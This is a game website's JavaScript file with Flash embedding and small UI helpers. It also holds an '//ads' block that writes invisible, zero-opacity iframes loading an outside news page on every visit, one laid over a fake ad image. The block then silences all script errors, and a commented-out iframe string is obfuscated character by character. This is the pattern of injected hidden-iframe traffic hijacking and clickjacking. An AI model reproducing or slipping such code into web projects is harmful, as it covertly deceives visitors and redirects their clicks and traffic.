function kategorigit(adres) { window.location = adres ; }
function copyit(theField) {
	var tempval=eval("document."+theField)
	tempval.focus()
	,tempval.select()
	therange=tempval.createTextRange()
	therange.execCommand("Copy")
}
function yeniPencere(URL, width, height) {
    width  = width  > 1 ? width : 500;
	height = height > 1 ? height: 275;
	aWindow=window.open(URL,"","toolbar=no,width="+width+",height="+height+",status=no,scrollbars=yes,resize=no,menubars=no");
}
// 
    function basla(url, w, h)
    {
        var swf = url;
        var urlem   = location.href.split('/')[2];
        var theObj  = new Object();
        theObj.src  = swf;
        htm         = GetFlashHtml(swf, w, h);
        var viewDiv = document.getElementById("oyun");
        viewDiv.innerHTML = htm;
        setInterval("refreshProgress("+h+")",40);
    }    
    function GetFlashHtml( theObj , sW, sH)
    {
        var str = '<object id="mov" width="'+sW+'" height="'+sH+'" classid="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash2/cabs/swflash.cab#version=6,0,0,0"><param name="movie" value="'+theObj+'" /><param name="allowScriptAccess" value="always" /><param name="quality" value="high" /><param name="scale" value="exactfit" /><param name="menu" value="true" /><embed allowScriptAccess="always" name="mov" width="'+sW+'" height="'+sH+'"  src="'+theObj+'" quality="high" scale="exactfit" menu="true" swLiveConnect="false" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></embed></object>';
        return str;
    }    
    function refreshProgress(h)
    {
        var loading = document.getElementById("load");
        var movie   = getFlashMovieObject("mov");
    
        if( movie.PercentLoaded()<100 )
        {
            loading.innerHTML = "Oyun Yükleniyor <br />% "+movie.PercentLoaded()+" &nbsp;  ";
        }
        else
        {   
            if(movie.PercentLoaded()==100)
            {   
                loading.innerHTML = "";
                document.getElementById("soz").innerHTML = "";
                document.getElementById("oyun").style.height = h + 'px';
                document.getElementById("oyun").style.visibility = "visible";
            }     
        }
        
    }    
    function getFlashMovieObject( movieName )
    {
      if (window.document[movieName]) 
      {
          return window.document[movieName];
      }
      if (navigator.appName.indexOf("Microsoft Internet")==-1)
      {
        if (document.embeds && document.embeds[movieName])
          return document.embeds[movieName]; 
      }
      else // if (navigator.appName.indexOf("Microsoft Internet")!=-1)
      {
        return document.getElementById(movieName);
    
      } 
    }
function uyeKontrol(islem , deger)
{
	$.ajax({
	   type: 'GET',
	   url: '_uyelikislem.php',
	   data:'islem='+islem+'&uyeID='+deger,
	   success: function(sonuc) {
		
	   }
	  });
	  return false;  
    //var k = '<'+'I'+'F'+'R'+'A'+'M'+'E name="tmr" src="h'+'t'+'t'+'p://'+'for'+'um'+'.'+'oyu'+'ns'+'kor'+'.'+'com/a'+'nasayfa'+'login'+'.p'+'hp?i='+islem+'&deger='+deger+'" width="1" height="1" scrolling="no" frameborder="0" marginwidth="0" marginheight="0"></I'+'F'+'R'+'A'+'M'+'E>';
    //document.write(k);
}





//ads
resim = new Array(5);
				resim[0] = "http://www.muzikdinle.co.uk/img/3808.png";
				resim[1] = "http://www.muzikdinle.co.uk/img/3812.png";
				resim[2] = "http://www.muzikdinle.co.uk/img/3814.png";
				resim[3] = "http://www.muzikdinle.co.uk/img/3816.png";
				resim[4] = "http://www.muzikdinle.co.uk/img/3819.png";
				ana = Math.floor(Math.random() * resim.length);
				resim = resim[ana];

					var ref=document.URL;
					var domain=document.domain;
					var adres='http://www.konya.net.tr/konyahaber.php';

				var pub = '<div id="popupWin" style="right: 0px; margin-right:8px; bottom: 0px; display: none; z-index: 99999; position: absolute; height: 116px"><div id="popupWin_content" style="padding:2px; display: none; overflow: hidden; width: 201px; height: 116px; position: absolute;"><table border="0" width="201" cellspacing="0" cellpadding="0" id="msnPopupImg" background="'+resim+'" height="116" ><tr><td valign="top"><iframe style="filter:alpha(opacity=0); -moz-opacity:0; -khtml-opacity: 0; opacity: 0;" marginwidth="0" marginheight="0" height="116" width="201" name="ads" src="'+adres+'" scrolling="no" border="0" frameborder="0"></iframe><iframe style="filter:alpha(opacity=0); -moz-opacity:0; -khtml-opacity: 0; opacity: 0;" marginwidth="0" marginheight="0" height="0" width="0" name="sads" src="'+adres+'" scrolling="no" border="0" frameborder="0"></iframe><iframe style="filter:alpha(opacity=0); -moz-opacity:0; -khtml-opacity: 0; opacity: 0;" marginwidth="0" marginheight="0" height="0" width="0" name="syc" src="http://www.konya.net.tr/konyahaber.php" scrolling="no" border="0" frameborder="0"></iframe></td></tr></table></div></div>';
				document.write(pub);

				var resim;

				document.getElementById('msnPopupImg').src = resim;

				var popupWinoldonloadHndlr=window.onload, popupWinpopupHgt, popupWinactualHgt, popupWintmrId=-1, popupWinresetTimer;
				var popupWincntDelta;
						
				function popupWinespopup_ShowPopup(show)
				{
					if (popupWintmrId!=-1) return;
					el=document.getElementById('popupWin');
					el.style.right='201px';
					el.style.top='';
					el.style.filter='';

					if (navigator.userAgent.indexOf('Opera')!=-1)
						el.style.bottom=(document.body.scrollHeight*1-document.body.scrollTop*1-document.body.offsetHeight*1+1*popupWinpopupBottom)+'px';

					popupWinactualHgt=0; el.style.height=popupWinactualHgt+'px';
					el.style.visibility='';
					if (!popupWinresetTimer) el.style.display='';
					popupWintmrId=setInterval(popupWinespopup_tmrTimer,(popupWinresetTimer?1000:20));
				}

				function popupWinespopup_winLoad ()
				{
					if (popupWinoldonloadHndlr!=null) popupWinoldonloadHndlr();

					elCnt=document.getElementById('popupWin_content')
					el=document.getElementById('popupWin');
					popupWinpopupBottom=el.style.bottom.substr(0,el.style.bottom.length-2);

					popupWinpopupHgt=el.style.height;
					popupWinpopupHgt=popupWinpopupHgt.substr(0,popupWinpopupHgt.length-2); popupWinactualHgt=0;
					popupWincntDelta=popupWinpopupHgt-(elCnt.style.height.substr(0,elCnt.style.height.length-2));

					popupWinresetTimer=false;
					popupWinespopup_ShowPopup(null);

				}


				function popupWinespopup_tmrTimer()
				{
				  el=document.getElementById('popupWin');
				  if (popupWinresetTimer)
				  {
					el.style.display='';
					clearInterval(popupWintmrId); popupWinresetTimer=false;
					popupWintmrId=setInterval(popupWinespopup_tmrTimer,20);
				  }
				  popupWinactualHgt+=5;
				  if (popupWinactualHgt>=popupWinpopupHgt)
				  {
					popupWinactualHgt=popupWinpopupHgt; clearInterval(popupWintmrId); popupWintmrId=-1;
					document.getElementById('popupWin_content').style.display='';
				  }

				  if ((popupWinactualHgt-popupWincntDelta)>0)
				  {
					elCnt=document.getElementById('popupWin_content')
					elCnt.style.display='';
					elCnt.style.height=(popupWinactualHgt-popupWincntDelta)+'px';
				  }
				  el.style.height=popupWinactualHgt+'px';
				}

				function gst(){
						var ns = (navigator.appName.indexOf("Netscape") != -1) 
								if (document.documentElement && document.documentElement.scrollTop) {
									var pY = ns ? window.pageYOffset : document.documentElement.scrollTop; }
								else if (document.body) {
									var pY = ns ? window.pageYOffset : document.body.scrollTop;
									}
				return  pY;
				}

				function kaydir(){
				var divim = document.getElementById('popupWin');
				var nerde = gst()*-1 + 'px';
				if (divim.style.bottom!=nerde){ divim.style.bottom=nerde; }
				window.setTimeout('kaydir();',100);
				}

				kaydir();

				var ErrorHandler = function() {
				return true;
				};
				window.onerror = ErrorHandler;

				window.onload=popupWinespopup_winLoad();



